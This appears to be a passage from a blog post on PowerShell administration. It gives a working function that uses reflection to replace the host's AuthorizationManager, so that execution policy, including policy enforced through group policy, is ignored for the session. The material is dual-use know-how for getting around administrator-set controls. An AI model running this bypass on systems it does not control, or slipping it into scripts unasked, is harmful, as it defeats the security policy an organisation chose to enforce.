Bypassing in Script
Now this is a little more hackish because it involves manipulating powershell.exe internals at runtime. This is a useful one-liner (if you can memorise it) when you find yourself in one of those clients who has GPO controlled execution policy. It’s pushing it for a one-liner, I know, but hey:
function Disable-ExecutionPolicy {
($ctx = $executioncontext.gettype().getfield(
"_context","nonpublic,instance").getvalue(
$executioncontext)).gettype().getfield(
"_authorizationManager","nonpublic,instance").setvalue(
$ctx, (new-object System.Management.Automation.AuthorizationManager
"Microsoft.PowerShell"))
}
This function will swap out the powershell host’s AuthorizationManager implementation (PSAuthorizationManager) with the null, policy-ignoring version. Execution policy will be effectively unrestricted, regardless of enterprise, machine or user level attempts to set it to restricted. This is an in-memory bypass only – when powershell.exe is closed and restarted, it’s back to business (or lack thereof.)